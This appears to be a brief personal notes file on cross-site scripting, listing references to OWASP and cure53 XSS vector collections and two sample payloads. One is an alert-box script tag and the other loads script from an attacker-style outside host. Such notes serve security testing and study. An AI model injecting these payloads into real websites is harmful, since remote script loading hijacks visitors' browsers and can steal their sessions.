stonexer

// Theory
// http://htmlpurifier.org/live/smoketests/xssAttacks.php 
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

// A full collection of HTML5 related XSS attack vectors: 
// https://github.com/cure53/H5SC https://raw.githubusercontent.com/cure53/H5SC/master/vectors.txt

// Short list
<script>alert("XSS: script tag")</script>
<script src="http://hackers-site.powertofly.com"></script>